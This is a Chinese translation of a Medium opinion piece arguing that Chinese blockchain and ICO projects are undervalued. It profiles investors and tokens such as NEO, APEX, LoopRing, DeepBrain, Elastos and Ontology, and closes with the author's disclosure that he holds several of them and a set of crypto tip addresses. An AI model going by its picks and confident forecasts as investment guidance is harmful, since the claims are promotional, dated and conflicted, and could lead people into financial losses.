    "content": "> * 原文地址：[An Undervalued Blockchain Market In China Is Good News For You](https://medium.com/theblock1/an-undervalued-blockchain-market-in-china-is-good-news-for-you-d0c010170622)\n> * 原文作者：[Noam Levenson](https://medium.com/@noamlevenson?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/an-undervalued-blockchain-market-in-china-is-good-news-for-you.md](https://github.com/xitu/gold-miner/blob/master/TODO/an-undervalued-blockchain-market-in-china-is-good-news-for-you.md)\n> * 译者：[Vsevorod](https://github.com/Vsevorod)\n> * 校对者：[ryouaki](https://github.com/ryouaki)\n\n# 被低估的中国区块链市场，对你是个好消息\n\n## ——为什么投资中国区块链项目可能是你曾做过的最佳决策\n\n![](https://cdn-images-1.medium.com/max/800/1*UzWejIHKnttLYYFf1xzNGg.png)\n\n当前，区块链就像&quot;狂野西部&quot;。几乎每天我都能了解到几十个新的 ICO 和项目诞生。在 [coinmarketcap.com](https://coinmarketcap.com/) 的1426个项目中（我开始写这篇文章的时候又新加了36个）,决定哪些数字货币的前景值得花钱令人望而生畏。一般来说人们会从三条途径中选择一条。有些人会在高币值货币—— Bitcoin, Litecoin, Dash, Ethereum —— 中选择几种并持仓。这就像加密投资的指数基金一样。他们的资产可能随着市场的增长而增长，得到可观的回报。如果你希望加密却不想这些东西浪费你的生活，那么可以这么做。但是大多数人希望能够得到更多。这个市场发展得太快了，以至于几乎每周都有一个项目突然暴涨。当人们看着数字货币火箭冲天而起的时候，害怕错过机遇的情绪就油然而生。所以，很多人会选择第二个选项：他们不断地刷 Reddit 和 Twitter ,阅读评论，并试图捕捉下一个&quot;瓶中闪电&quot;。实际上，在大船开走之前登船并没有错，有时是有效的。但其中原因是市场不合理，市场受到行业内几个大声音的巨大影响。事实是，那些刷着 Reddit 的人知道的并不比你更多。有时候有可能从这些&quot;抬价&quot;中淘汰黄金的原因是因为有足够多的人正在做你正在做的事情。而如果足够多的人突然就想抛出 token 的时候，就会暴跌。\n\n![](https://cdn-images-1.medium.com/max/800/1*5GUHAplMdVaZGd9YoQ4PEA.png)\n\n这就是为什么 John McAfee 可以转移市场，一条 Jamie Dimon 的评论就可以暂时地使比特币崩溃。但是第三种选择是真正赚钱的地方。第三种选项是做跑腿的工作：阅读，阅读，更多的阅读。查找那些被低估的并在人们开始谈论这些东西之前进行投资。**这很简单，却并不容易，这也就是为什么很多人不会这么做。**\n\n我看好的是市场中被低估的那一类，也就是中国ICO市场。但我的目标并不是让你盲目的遵从我的建议。所以，在这篇文章里，我会给出为什么我认为这个市场是被低估的来支撑我的论点，并给出我认为最有潜力的一些项目的概况。我也会给出中国区块链市场的一个概况；我们很熟悉西方的大玩家： Y-Combinator, American Express等。当这样的伙伴关系被宣布的时候，他们就拥有权重。 但是中国的等值体系同样重要，但西方大多数人并不熟悉。因此，为了有效地评估这个领域的项目，我们需要充分理解这个空间.\n\n### 为什么是中国？\n\n我曾在 [这篇文章](https://hackernoon.com/neo-versus-ethereum-why-neo-might-be-2018s-strongest-cryptocurrency-79956138bea3?source=user_profile---------1----------------) 里强调中国市场会是下一个爆发的市场。在这里我将重申其原因。\n![](https://cdn-images-1.medium.com/max/600/1*sUfRETOP9gFh4GZTnyyfpQ.png)\n\n\n从政治角度看，中国作为一个全球性的超级力量将挑战美国。通过 14 年 GDP 的快速增长（6.7%，而美国则是 1.6%），中国的 GDP 仅次于美国。作为边注，我也意识到 GDP 并不能最佳彰显经济实力和潜力，但是这足以粗略地表明中国在世界经济地位上的表现。不管美国退出 TPP 协议是否符合其最佳利益，清楚的是中国会从中受益。中国拥有大量劳动力和宽容的监管，有能力快速有效地利用新的经济机会。中国人在可持续能源的努力例证了这一点。中国现在虽然并不以环境意识著称，却已经成为可再生能源的最大投资者。\n\n> 并且，中国的政治体制意味着发展可以迅速发生。他们可以迅速演化并引领世界可持续能源工作，源于这是一个一党领导的国家。没有权力的平衡，也不需要像美国那样有分裂的选举基本盘拖延发展。\n\n\n\n![](https://cdn-images-1.medium.com/max/600/1*Gj9HaEbOJZTyRn1pHVbRoA.jpeg)\n\n我认为区块链会成为中国下一个大冒险。已颁布的禁止 ICO 和交易所可能是暂时的。我在我的 NEO 文章里说过，中国知道区块链正在变得非常具有破坏性。他们发布[五年区块链计划](https://www.coindesk.com/chinas-central-bank-vows-push-blockchain-five-year-plan/)时，也证明了这一点。中国禁止比特币交易和 ICO 是因为他们认识到了区块链的潜力。如果他们没有理解它的重要性，就绝不会禁止。他们禁止它，是希望控制它也必将控制它。他们禁止它，就可以放松筋骨，建立自己的权力，获得时间来指定出何时、怎样向前发展的计划。**新技术的采用到来的时候很难影响事物；强制早期限制和制定中断的方向要容易得多。**\n\n\n新加坡已经拥抱了区块链的潜能，他们的进展证明了这项新技术的采用可能带来的潜在经济影响。新加坡认识到，区块链和加密货币会破坏当前产业并取代工作，新加坡不仅仅着眼于解决失业，而是要重新对工作进行定位。一些职业会承受痛苦，但是新兴产业最终都将造福经济，剔除中间人，刺激经济增长。\n当中国制定出计划之后，他们很可能成为世界区块链技术的领袖国家。再加上迅速增长的经济发展能力，一旦中国开始 ICO 和区块链发展……你就该注意了。\n并且，我们已经看到在这里，区块链公司和项目的蓬勃发展了。\n\n### OK。。。那为什么这些项目会被低估呢？\n\n我认为这个行业被低估有两个原因。首先，我认为人们都低估了中国进入这个领域的能力，也怀疑中国会这样做。这种担忧是恰当的；然而我对上述的分析非常有信心，即中国会成为一个大棋手。所以，我认为从人们的忧惧中能找到一个获利的机会。\n\n然而，这些项目的价值也超出了中国。他们中的很多在国际区块链应用中占有重要地位，他们拥有很棒的团队和强大的技术。但是他们所处的西方市场环境是脆弱的：糟糕的英语网站，糟糕的白皮书翻译和有限的社交媒体。这部分是因为他们不能从美国国内筹集 ICO 资金，而是从一开始就专注于亚洲市场。但正因如此，西方大多数人对这些公司一无所知。如果没有足够的公开资料，就很难有效地了解没有直接与团队联系的项目。但是，这些项目也认识到，这是限制他们，并努力改善他们的西方营销。与 Antshares 相比，优先考虑 NEO。\n\n![](https://cdn-images-1.medium.com/max/800/1*GInHErPMklh_NnXbqx8YrQ.png)\n\nNEO 更好...\n\n如果考虑这两个因素，西方市场的缺乏以及对中国不确定性的恐惧，人们并没有对这个市场进行有效的评估。结合中国即将开放区块链发展的事实 —— 我认为他们必将会 —— 确定这些公司将会改善营销（他们已经这样做了），我认为我们有机会。这个机会在于被低估的市场的底层。\n\n### 谁才是这里的主要玩家？\n\n中国区块链项目的发展与西方完全不同。在西方，ICO 是王。但是为了筹集大量的 ICO 资金，必须把重点放在早期的营销上。通常情况下，只有在成功的 ICO 开始开发之后才有发展。只有在筹资，营销和发展之后，项目办法才能建立投资者和企业。它固有地强调营销。这就是为什么一个 Floyd MayWeather [背书](https://twitter.com/FloydMayweather/status/909911035263328256)能够这么重要。\n\n![](https://cdn-images-1.medium.com/max/800/1*bKyFcZFAHOPRC8orZT44pQ.png)\n之后的三个ICO投资\n\n相比之下，在中国，筹款功能则有所不同。中国区块链与强大的首席执行官和传统风险投资公司联系起来筹集资金。他们不主要集中在 ICO 生成现金。但是，由于这种筹资差异，对营销的重视不够，而对技术和产品设计则更加重视。风险投资公司对市场营销的关注度要低得多，而且对基础技术的关注度更高。从本质上说，这些项目得到制度支持，然后开发强大的产品，然后专注于市场营销。这是一个自上而下的方法，而不是自下而上。在美国是关于公共资金的。在中国是关于私人资金的。由于这种差异，中国项目的投资者和支持者极具发展潜力。\n\n所以重要的是要了解下面列出的中国&quot;大佬&quot;。这些包括着名的投资公司，孵化器，企业和平台。\n\n\n#### [GBIC](http://gbic.io/)\n\nGBIC 是一个全球区块链项目孵化器。他们通过人力资本，营销和公共援助以及网络和开发资源来支持投资。他们的网络包括许多国际投资者和交换链接，GBIC 支持星云，DeepBrain，IoT 链，Aelf，Eximchain，Zeepin 和 WePower。\n\n#### [Fenbushi](http://fenbushi.vc/)\nVitalik Buterin 是 Fenbushi 的普通合伙人，Fenbushi 是一家投资区块链项目的中国风险投资公司。他们最好的投资是 [TenX](https://www.tenx.tech/)， [Factom](https://www.factom.com/)，[SiaCoin](https://sia.tech/) 和 [ZCash](https://z.cash/)。\n#### [Link VC](http://www.linkvc.com/)\n\nLink VC 是一个强大的新加坡风险资本公司，他们以及支持了 TenX，[Quoine](https://quoine.com/)，[Raiden Network](https://raiden.network/)，和 IoT 链（见下文）\n\n#### [FBG Capital](https://www.fbg.capital/) (Fintech Blockchain Group)\n\nFBG Capital 是一家新加坡区块链和数字资产投资公司。FBG Capital 在亚洲区块链行业占有重要地位。得到这家公司的支持是一个重要的信任投票。他们支持的项目包括ADEX，Zilliqa，IoT Chain，Aelf，LoopRing 和 Nebulas。它们为项目提供战略价值。正如 GBIC 的理查德·李（Richard Lee）所说：&quot;他们的网络由全球顶级基金，交易所和主要投资者/影响者组成。\n\n![](https://cdn-images-1.medium.com/max/600/1*xn8CPaox8QsTgMN7arFE2A.jpeg)\n\n\n#### BAT\n三个最有力量的中国公司。能够获得他们的支持或者与他们有联系都是受益巨大的。\n\n\n#### [Fosun Group](https://www.fosun.com/language/en/aboutus/1.html)\n\n中国最大的私人投资集团。他们投资了 OnChain。\n\n#### [SequoiaDB](http://www.sequoiadb.com/en/)\n\nSequoiaDB 是中国一家主要的大数据提供商；他们负责企业大数据的集成、存储和管理\n\n#### [BitMain](https://www.bitmain.com/)\n\n中国最大的矿业集团之一。 他们有巨大的投资能力。 他们是Elastos的主要支持者。\n\n\n![](https://cdn-images-1.medium.com/max/600/1*3jFWRo6WAidexAEdDsPrxQ.jpeg)\n\n#### [NEO Council](https://neo.org/)\n\n有趣的是中国区块链领域的伙伴关系与合作。 NEO 委员会建议在 NEO 上开发 dApps; 开发人员从项目跳到项目; OnChain 和 NEO 紧密合作。我的观点是，它与 NEO 实现智慧经济的愿景是一致的。\n\nNEO委员会理解，自己只能是 NEO 的一个组成部分。必须存在多个应用程序，协议和平台，使它们互连和互操作; 这些将包含智能经济的所有方面，包括数字资产和身份。 NEO了解实现这一经济所需的技术。 因此，积极支持有利于这一愿景的项目。 NEO委员会投资表明，该项目是更大的智慧经济生态系统的一部分; 这在我看来是非常有价值的。OnChain 和 NEO 一起致力于开发支持更大生态系统的产品。他们有一个非常强大的网络，并为他们的项目带来实质性的支持。\n\n\n\n#### [OnChain](http://www.onchain.com/en-us/)\n\n查看我关于 NEO 的文章，就可以了解 OnChain-NEO 生态系统的更多信息。简单的说,NEO 创始人 Da Hongfei 和 Erik Zhang 创立了 OnChain 公司。他们不是同一家公司，但他们的利益一致，是合作伙伴关系。 OnChain 的 DNA 系统（去中心化网络架构）旨在与中国企业和政府合作。NEO 是 DNA 协议的前身。DNA 为企业开发公共，私人和联盟区块链,然后这些区块链连接到 NEO 加入去中心化的经济。企业则拥有私人和公共区块链的所有好处。把NEO当作是基本的公共区块链，OnChain是企业区块链 (即大型企业在区块链上运作的一种手段)。然后，他们可以联系起来，并两全其美。\n\n\n#### [QTUM](https://qtum.org/en/)\n\n作为 NEO 的竞争对手，QTUM 也是在中国空间发展的平台。QTUM 是 Ethereum 技术和比特币技术的混合体，其技术介于两者之间。QTUM 利用比特币的安全性，同时利用虚拟机和可定制区块链实现智能合约和去中心化应用，就像 Ethereum 一样。与上述 NEO 的段落类似，QTUM 的支持表明该项目正在支持更大的生态系统。\n\n#### [Roger Lim](https://www.linkedin.com/in/limroger/)\n\nRoger Lim 是中国之外最重要的顾问和投资者之一。\n\n\n\n### 谁被低估了？\n\n我认为 NEO 和 QTUM 将从未来的中国区块链发展中受益。特别是在我看来，NEO 相对于其他平台来说，其价值被低估了。但我已经广泛地写过了这个，不想做无用功。 如果您对 NEO 评估感兴趣，请参阅 [此处](https://hackernoon.com/neo-versus-ethereum-why-neo-might-be-2018s-strongest-cryptocurrency-79956138bea3)。\n\n正如 Brad Laurie 所说，评估一个项目最有效的方法是审查技术和协议，然后是团队和合作关系，然后是应用程序和连接到现实世界的企业和业务。\n\n\n#### [APEX](https://apex.chinapex.com/)\n\n\n**ICO January 29th — Token Symbol: CPX**\n**简介：**\n\nAPEX 是由 AI 平台协助企业进行数据收集和管理的公司 Chinapex 支持的。基本上，他们帮助公司管理他们的客户的数据。这个在上海运营的中国软件拥有200多家企业客户。\n\n**为什么APEX很重要：**\n\nAPEX 将数据控制权交还给用户和消费者。APEX 希望使用户能够控制这些数据并在分享数据时获得奖励，而不是由公司和供应商控制和销售用户数据。他们已经有 250 多名客户，其中 32％ 将参加 APEX 试运行。假设你是一个用户，你可以与他们的应用程序进行交互，设置价格并确定你想要共享的信息。这些信息转化为智能合约。从那里，企业可以购买这些信息。然后将信息发送到 APEX 的业务平台，为企业提供先进的数据分析。\n\n**支持：**\n\nAPEX 的 [伙伴关系](http://cdn.chinapex.com.cn/med/videos/to/partners-overview-apex.pdf)很多，包括 Microsoft Azure, Amazon Web Services, Alibaba Cloud,Oracle Cloud China,Baidu,Tencent,OnChain, 和 NEO 委员会\n\n西方的竞争者：Basic Attention Token 试图制您的互联网数据，但这还不包括 APEX 的目标。 Datum 绝对是一个竞争对手，但APEX与一家已经拥有数百名企业客户的功能强大的数据管理公司相联系，这给了他们巨大的优势。\n\n**分析：**\n\n这些是重要的企业支持。 APEX 与 OnChain 和 NEO 的联系表明，这两个项目都将 APEX 视为智慧经济的基本组成部分。\n![](https://cdn-images-1.medium.com/max/600/1*2TGW1vJQwQ3UOwJfTjH2bA.png)\n\n**担忧：**\n\n与许多这些平台一样，拥有成功的市场主要取决于有多少用户。没有买家或卖家，就不会有 eBay。APEX 将需要促进这方面。\n\n\n#### [LoopRing](https://loopring.org/en/index.html)\n\n**简介：**\n\nLoopRing 是一个去中心化的自动交易执行协议，通过独特的环匹配系统进行智能交易。本质上，环形结构可以一次将多个订单链接在一起，并同时执行。想象一下，比尔想用 REQ 购买 RLC，Abbie 想用 POWR 购买 REQ，Daniel 想用 RLC 购买 POWR。LoopRing 可以连接三个买家并同时执行这些订单，而不是一个接一个地执行这些订单。\n\n**为什么 LoopRing 重要：**\n\nLoopRing 将流动性和信任带给区块链。LoopRing 在区块链和交易所之间传递信息。因为交易是同时执行的，所以不需要信任交易对手。如果我想购买 RLC，我不需要先卖 ETH，然后购买 RLC。我可以在销售 ETH 的同时立即购买 RLC。 从更大的角度来看，这对 NEO 等平台在创造一个资产可以安全有效交换的生态系统中起着重要的作用。\n\n**支持：**\n\nFBG Capital, QTUM Foundation, NEO Council, SequoiaDB\n\n**竞争：**\n\nLoopRing 在行业内具有显着的竞争力。 LoopRing 与其他交换协议如 Kyber Network，0x 和 Bancor 竞争。\n\n**分析：**\n\nFBG Capital 为 LoopRing 带来合法性和强大支持。QTUM 和 NEO 看到了 LoopRing 协议将信任和流动性带到各自平台的潜力。LoopRing 的强大后盾以及中国独特的联系使其在竞争中处于领先地位。其环技术也是独一无二的。\n\n**担忧：**\n由于更新了 Coinmarketcap 的流通供应，我认为该项目估值过高。734,089,390（循环供应）×1.43美元（每令牌价格）= 1,049,747,827美元。超过10亿美元，我觉得现在不买入为好。\n\n\n#### [DeepBrain](https://www.deepbrainchain.org/)\n\n**简介：**\n\n今天，人工智能的发展需要大量的计算能力，因此需要大量的资金。DeepBrain 使用分散的计算能力来降低这个行业的成本和壁垒。与此同时，他们支持数据共享的市场。 隐私也是他们平台的最前沿。DBC 估计，他们可以降低 AI 开发成本的七成。\n\n**DeepBrain 为什么重要：**\n\nDeepBrain 将应用程序带入中国的区块链网络。 大多数项目都致力于构建生态系统，而不重点关注具体的使用案例。\n\n**支持：**\n\n最大的支持是 NEO 委员会和 Da Hongfei 的投资。 其他重要的风险投资公司，比如 Gobi Partners，GSR 风险投资公司和 CollinStar Capital 公司,也支持 GBIC。\n\n**西方竞争：**\n\n[奇点](https://singularitynet.io/)仍然是 DeepBrain 的最大竞争对手。\n\n**分析：**\n\nNEO 的支持是鼓舞人心的; 对我来说，这表明 NEO 对自己的生态系统和基础足够有信心，可以开始开发 dApp。 DeepBrain 有强大的体制支持。 与 Singularity 相比，DeepBrain 在中国市场的联系给了他们安全性。中国借以利用自己的产品和项目。在我看来，Singularity 和 DeepBrain 并不是真正的竞争对手。\n\n**担忧：**\n\n一个问题是，他们将无法支持必要的发展和快速增长的可行的环境。 限于 DeepBrain 的市场，他们严重依赖于网络效应（用户带给平台的价值）。为了促进这些网络效应，DeepBrain 团队需要在营销方面取得长足的进步。 由 GBIC 支持将有助于此。\n\n\n#### [Elastos](https://www.elastos.org/)\n\n**简介：**\n\nElastos 是中国最具野心的项目之一。Elastos 旨在创建一种新型的去中心化互联网，由区块链技术提供支持。借助他们的平台，开发人员可以创建连接到 Elastos 区块链的 dApp，但不实际运行它 - 这是一个大规模的可扩展解决方案。另外，用户可以容易地获得数字内容的身份。害怕有人会偷你的照片 给它一个数字身份，并用 Elastos 来保护它。\n\n所有这些功能都可以从任何操作系统访问，所以你可以使用iPhone的去中心化的应用程序。但是，这些 dApps 已经建立了保护，称为 Elastos Runtime，防止他们&quot;直接&quot;连接到互联网。这有助于防止恶意软件。他们的主要区块链通过 PoW 获得，并利用比特币的计算资源。当一个矿工在比特币区块链上&quot;挖掘&quot;一个区块时，他同时也在 Elastos 区块链上开采一个区块。\n\n**为什么 Elastos 重要：**\n\nElastos 为区块链带来可用性和可扩展性。它专注于创建一个强大的生态系统，可以像今天的互联网一样访问。通过这个平台，Elastos 可以实现一系列的区块链应用。 Elastos 是帮助 NEO 实现全球视野的关键。\n\n**支持：**\n\nElastos 由 Bitmain 提供支持和资助。 他们也与 Antpool 合作。这是中国最大的两家挖矿公司。他们也与 NEO 委员会合作。\n\n**竞争：**\n\nElastos 正在创造一个全方位的解决方案。Ethereum 将需要许多协作 dApps 来实现 Elastos 的潜力。 虽然有很多 dApp 创建平台和一种新型互联网（EOS，AION，Cardano），但 Elastos 在东方的定位却使他们摆脱了直接的竞争。但 Elastos 已经有一个工作的主要区块链。他们有多年的发展，非常庞大。\n\n**分析：**\n\nElastos 是一个大胆的项目。 对于这样大规模的项目，如果能够实现的话，这是一个巨大的数字。 如果他们知道他们在做什么。 但 Elastos 已经有一个工作的主链。而他们与中国矿业巨头的合作伙伴关系，确保他们已经有了使用计算能力的平台。与NEO的互操作性也为这两个平台带来了巨大的价值。\n\n**担忧：**\n\n需要问的问题是区块链世界可以支持多少个平台？Elastos肯定面临激烈的竞争。我认为他们提供的解决方案并不多。\n\n\n\n#### [Nebula](https://nebulas.io/)\n\n**简介：**\n刚开始，星云更多地关注西方，因此受到其他地区项目面临的广告障碍的影响较小。星云具有排名算法，可以有效地分配区块链项目和合同的价值，并允许用户搜索它们。星云有自己的虚拟机，并支持 dApp 开发。高效的升级系统可以实现快速的可扩展性。它完全兼容以太坊智能合约。他们有一个经过认可的团队。\n\n**为什么星云很重要：**\n\n星云通常被称为 Google for Blockchain。他们有区块链搜索引擎，这么称呼应该说是适当的。但是星云中真正天才之处在于利用他们的排名算法。要在搜索引擎中排列项目，需要建立一些既定的价值体系来判断一个区块链项目，dApp 或另一个协议。星云设计了区块链的价值体系，这个价值体系使得星云能够有效地&quot;评估&quot;用户和账户，并相应地奖励他们。结合 dApps，智能合约等先进功能和星云是第三代区块链项目中的严重竞争对手。\n\n**支持：**\n\nFBG Capital，GBIC 和 [500 Startups](https://500.co/)（一家强大的VC投资和孵化公司）。\n\n**竞争：**\n星云面临 EOS，Cardano 和 AION 等其他第三代平台的重大竞争。然而，星云试图完成的是他们成为一个不同的联盟。\n\n**分析：**\n\n在 FBG 和 500 Startups 的支持下，星云看起来有望成为第三代区块链市场的重要竞争者。即便以后与Ethereum或其他平台合作帮助星云上市，我也不会惊讶\n\n**担忧：**\n\n与市场上的任何平台一样，竞争也是一个问题。不过，我相信星云的技术真的很特别。\n\n\n\n\n\n#### [IoT Chain](https://iotchain.io/)\n\n**简介：**\n\n物联网链的目标是成为物联网（IoT）的中国平台 – 就像 IOTA 在西方的地位。物联网链使用 DAG 技术来支持物联网所预期的巨大交易负载。但是，与 IOTA 不同，ITC 利用授权状态证明（IoT Chain，称为PBFT）达成共识。为了增加缩放比例，DAG 的小部分被分解，并由这个 dPOS 单独管理。\n\n**为什么物联网链很重要：**\n\n中国可能会成为物联网革命的领导者。 与企业整合并促进采用的标志将与IOTA的成功相媲美。\n\n**支持：**\n\nIoT Chain 拥有 Link Capital 和 FBG Capital 的投资。 他们正在与包括八家能源和科技公司在内的中国企业进行合作。 物联网链也由 GBIC 支持。\n\n**竞争：**\n\n物联网在中国市场还没有任何竞争。 从西方，物联网链正在与 IOTA 和 Raiblocks（XRB）等其他 DAG 协议竞争\n\n**分析：**\n\n物联网拥有强大的技术，大企业的支持和重大的机构投资。他们已经有了一个工作原型。目前只能在较小的交易所上市，因此市场有限。我认为它有很大的发展空间，有机会领导中国的物联网市场。\n\n**担忧：**\n\n我和 IOTA 一样对 IoT Chain 也有同样的担忧，特别是中央协调员必须监督网络。具有大量微交易的 DAG 系统可以在没有中央协调员的情况下运行; 直到那时，一个中央协调员最负责监督这个网络。此外，物联网的西方和英语营销已经情况严峻。不过，他们即将发布白皮书，并与GBIC展开合作。\n\n![](https://cdn-images-1.medium.com/max/600/1*lDx1ySh0a2ZBfRtCEOQFMQ.png)\n\n\n\n#### [Ontology](https://ont.io/)\n\n**简介：**\n\nOntology 是区块链和业务之间的纽带。他们的母公司 OnChain 已经和中国的企业和政府有很好的关系（在这里可以看到更多的内容）。Ontology 创建了一系列先进的应用程序，企业可以创建私有链，保持对信息的控制，与其他私有链和更大的本体论网络互连，并连接到像NEO这样的公共链。诸如具有可选功能的可定制私有链，数字身份（ONT ID）和高级信任发布系统（实体可以向其他实体发布信任以及可以追溯到最初发行者的所有信息）的服务使得 Ontology 成为一个非常雄心勃勃的项目。\n\n**为什么 Ontology 很重要：**\n\nOntology 是 NEO 和其他公共区块链的信任网络。NEO 是建立在支持智慧经济，连接企业，互联互通的基础上，全部基于区块链安全的前提下。Ontology，利用NEO虚拟机，提供了这个愿景的另一个关键组件：可编程的信任。没有 Ontology，NEO 只是另一个公开链。\n\n**支持：**\n\nOntology 是 OnChain 的一个项目。OnChain 是第一个加入 Hyperledger 的中国区块链公司，是微软中国在多个项目上的战略合作伙伴，与日本经济产业省合作，被评为毕马威中国金融科技50强，与阿里巴巴合作提供阿里云电子邮件认证服务，接受复星集团投资，并与一个中国地方政府合作。此外，Ontology 由 NEO委员会支持。\n\n**竞争：**\n\n我无法预测 NEO 和 Ontology 所能达到的规模。\n\n**分析：**\n\n正如我所说的，在 NEO 的支持和合作下，显然 Ontology 是 NEO 成功的关键。 他们完美地互相补充。NEO 提供了将网络的所有组件连接在一起的基础。Ontology 为企业和政府提供了一个入门平台，可以连接到更大的区块链网络。\n\n**担忧：**\n\n就区块链项目而言，这是我认为最安全的一种。 关键是要看他们是否真的可以成为上市企业。\n\n\n#### [**MatrixChain**](https://www.matrixchain.io/)\n\n**简介：**\nMatrixChain 集成 AI 与区块链。MatrixChain 以一些独特的方式使用 AI，最终简化用户体验。人工智能可以审计智能合同和代码，以确保漏洞和错误不存在。用户只需以简单的脚本语言输入智能合约的规格，AI然后将规格转换成智能合约。但这不是一个简单的任务; 人工智能需要从规范中推断出智能合约的目的是什么，然后启用它。AI还将根据环境和使用输入优化区块链协议。从本质上说，区块链将不断优化，以考虑到实际使用情况，而不是生搬硬套。\n\nMatrixChain 使用混合 PoW 和委托 PoS 协议。区块链分为不同的部分，挖掘和共识分开发生，以提高可扩展性（考虑分片）。但是与其他 PoW 模型不同，计算节点不仅仅是解决无意义的算法。矿工执行马尔可夫链蒙特卡罗（MCMC）计算 – 如果你读不懂，请坚持看下去。MCMC 计算对于解决某些算法非常重要。 即使是一个简单的解释也超出了本文的范围，但是认识到 MCMC 对于真实世界的大数据应用是至关重要的。因此，矩阵挖掘对于解决现实世界的问题实际上是有用的。\n\n**为什么 MatrixChain 重要：**\n\n人工智能和区块链是近年来最具革命性的两项发展。我个人一直在寻找两者的优雅组合。我认为 MatrixChain 提供了这一点。\n\n**支持：**\n\nMatrixChain 得到了 [中国人工智能协会](http://caai.cn/)的支持，与 HyperLedger 合作，并获得了区块链风险投资和孵化器 [Torque Capital Partners](https://www.torque.vc/)的投资。\n\n**竞争：**\n\n虽然像 DeepBrain Chain 和 Singularity 这样的项目正在利用区块链作为连接 AI 开发人员和计算资源的分散市场，但我并不知道有任何项目会直接与 MatrixChain 的 AI 集成竞争。然而，考虑到 MatrixChain 是智能合约和 dApp 开发的平台，它与 EOS，Ethereum 和 Cardano 等其他平台竞争。\n\n**分析：**\n\n尽管区块链平台之间的竞争非常激烈，但是使用像 Nebulas 排名算法这样的新技术实现平台是非常重要的。MatrixChain 对 AI 的使用属于这个保护伞下。我相信 AI 对区块链来说是非常有利的。MatrixChain正在带头推进这一进步。\n\n**担忧：**\n\n我没有强大的技术背景，很难评论 AI 和区块链整合的障碍。但是，我相信存在很多，而且与编码（奇偶钱包灾难和DAO攻击）有关的人为错误，错误的代价是昂贵的。\n\n\n\n* * *\n\n我可以写的项目数量是无限的。中国有一些令人印象深刻的发展，上面的概述只是小部分。我打算在以后的文章中深入探讨这些提到的项目。以上只是对每个项目的简要分析，投资前请做额外的研究。\n\n我感兴趣的其他项目将在以后的文章中进一步讨论如下：\n\n[Zilliqa](https://www.zilliqa.com/) - 一种高级区块链平台，具有缩放解决方案，如 Sharding。有 FBG 资本的支持\n\n[NEX](https://neonexchange.org/) - NEO 的分散交换和交易协议。被 NEO 委员会认可。\n\n[TheKey](https://www.thekey.vip/) - 将数字身份验证带入 NEO 和 OnChain。获得 OnChain，NEO，Roger Lim，中国联通（一家领先的电信公司）的投资。\n\n[WanChain](https://wanchain.org/) - 一个能够提供一整套高级金融服务的平台。与 ICON 和 AION 建立区块链互操作联盟的一部分。\n\n[EximChain](https://www.eximchain.com/) - 中国的供应链平台。GBIC 支持\n\n[自我](https://aelf.io/) - 一个分散的云计算解决方案 – 中国版iExec。FBG Capital 和 GBIC 支持。\n\n[Zeepin](https://www.zeepin.io/) - 为发布商保护其数字内容创建一个创意内容平台。由 NEO 委员会和 GBIC 支持。\n\n[三位一体](http://trinity.tech/) – NEO 之雷。实际上是一个脱链缩放解决方案。\n\n[WaltonChain](https://www.waltonchain.org/) - Walton 在中国是一个连接良好的供应链令牌。他们使用 RFID 技术促进产品在供应链流程中的转换。他们与中国企业有强大的合作关系。\n\n[高性能区块链（HPB）](http://www.gxn.io/en.html) - 高度可扩展的区块链，支持技术，可与企业和企业集成。由 NEO 委员会支持。\n\n[VeChain](https://www.vechain.com/#/) - 为企业和企业提供 BaaS（区块链即服务）。已经与现实世界的业务相结合。\n\n\n![](https://cdn-images-1.medium.com/max/600/1*X0grm5hliU10oion8jIkAQ.jpeg)\n### 其他重要的考虑因素\n\n中国区块链公司正在开发一个生态系统。在美国，他们正在开发 dApps。在美国，以太坊提供了一个无方向的框架。这并不是为了减少以太坊的成功。他们赫然支持所有dApp 开发的85％。不过，以太坊并没有把dApp的发展重点放在任何特定的方向上。它确实是分散的。任何人都可以开发任何东西，不管它是否对生态系统有益。相比之下，中国区块链公司，特别是NEO，正在把重点放在创造一个整体和凝聚力的视野上。企业，政府和公众可以共享资产，安全高效地连接和利用区块链。要实现这一愿景，他们必须将dApp的发展重点放在这里。\n\n\n\n在美国，市场认为每个行业都会受到干扰和分散。我不同意这种看法。我同意今天存在着一套管理我们世界的不太理想的规则。但我认为人们有这种乌托邦的观点，认为这些规则是由我们集中的，以行业为中心的世界创造的。然而，我认为规则超越了生态系统。规则创造了生态系统，而不是相反。这意味着破坏这些&quot;规则&quot;的想法是天真的。 他们不能被打乱。区块链要成功，它必须在这些规则下工作。 现在这并不意味着区块链不能做好。它可以在改善世界，改善现有产业，提供更好的社会流动性，削减中间人的框架内进行变革。但是权力决定方向的根本规则将永恒。\n\n>不是生态系统创造规则，而是规则创造了生态系统。\n\n\n我的观点是，中国的区块链项目承认这一事实，而美国的则没有。在中国，区块链公司意识到信任，一定程度的集权（NEO委员会）和互操作性是长期成功的关键。正如布拉德所说：&quot;没有这种信任体系，特别是在中国，企业就不会碰到区块链。&quot;他们正在创建与现有机构合作。是的，中国的项目比较集中， 但这不是真正的分权与集权的问题。这是妥协将已建立的业务转移到分散的框架。以上提到的所有项目都是非常真实世界的项目。他们务实，致力于在中央集权的世界里工作。\n\n\n\n### **总结**\n\n2018年将是一个决定性的时刻，不仅是整个区块链，也是中国在生态系统中的角色。中国会在阴影下保持观望吗？或者他们会在改变我们的世界方面发挥积极作用？中国有可能把区块链的世界置于后面，并大踏步前进。我认为这是必然，而不是如果。\n\n中国会以这些项目作为开始，以他们的体制支持，革命性的设计和技术为先的方法获得利益。 因此，开始复习你的普通话，打开笔记本电脑，并阅读。\n\n>我要感谢 Brad Laurie 的杰出洞察力和信息。你可以在这里关注他的 YouTube 频道。你也可以在 Twitter @Brad\\_Laurie 上关注他。 NM是另一个很棒的资源，你可以关注@ByteSizeCapital并获取。他们似乎每天都在粗糙的地方找到另一颗钻石。另外，我还要感谢GBIC的团队，他们强调了许多中国的杰出项目。\n\n* * *\n\nFOLLOW me on Twitter: @noamlevenson and  [@TheBlock\\_x](https://twitter.com/TheBlock_x)\n\n免责声明：我投入了这里提到的许多项目，包括NEO，IoT链，DeepBrain，星云和Zeepin。这不是投资建议，只是我对这个项目的看法。仅供参考。\n\n感谢打赏\n\nNEO: ATnTZ7ECRQViMzQecuW7QUarU2jhuPwyLC\n\nETH: 0x4c35100a0a25b3933ba1c0469b5df8b24035775b\n\nBTC: 1Dmri6J1epQ7MG1THCWvpQAfLAjeSxe1hx\n\n\n---\n\n> 